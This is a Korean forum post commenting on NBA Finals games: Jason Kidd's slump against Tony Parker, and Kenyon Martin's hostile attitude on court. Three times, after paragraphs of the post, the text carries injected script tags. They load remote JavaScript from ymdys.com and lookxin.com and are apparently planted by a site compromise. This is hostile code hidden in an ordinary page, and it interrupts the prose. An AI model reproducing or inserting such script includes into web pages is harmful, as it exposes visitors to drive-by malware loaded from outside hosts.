부진이 아니라 올해 파이널 1.3.4차전 삽질을 단단히 하고 있죠.
오늘 네츠가 이긴다해도 기분 뭐같을것 같네요.
뜻대로 안되는 키드 속마음은 오죽하겠냐만은 아마도 올해로 끝으로 네츠가 더이상 안잡을듯 하네요.<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
키드가 아무리 삽을 들어도 파커>키드라고 말하기도 힘든게 파커는 키드를 수비할때 문제점을 드러냈습니다. 키드는 파커에게 계속 포스트업을 시도함으로서 더블팀을 유도해내며 공격을 쉽게 풀어나갔죠. <script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
케년 마틴 좋아했었는데 오늘 행동을 보니 좀 그렇더군요..
실제로 농구 하다보면 저런 녀석들이 있는데 그런넘들하곤 같이 농구 하고싶지가 않다는...
이쪽에서 아무리 좋게 대해줘봤자 농구를 무슨 전투로 아는 것도 아니고..무조건 적대시 하는
그런 태도는 어떤 때에는 같은 팀까지 눈쌀을 찌푸리게 하죠..나머지 파이널 경기에선 이런
모습을 보이지 말았으면 좋겠네요..<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>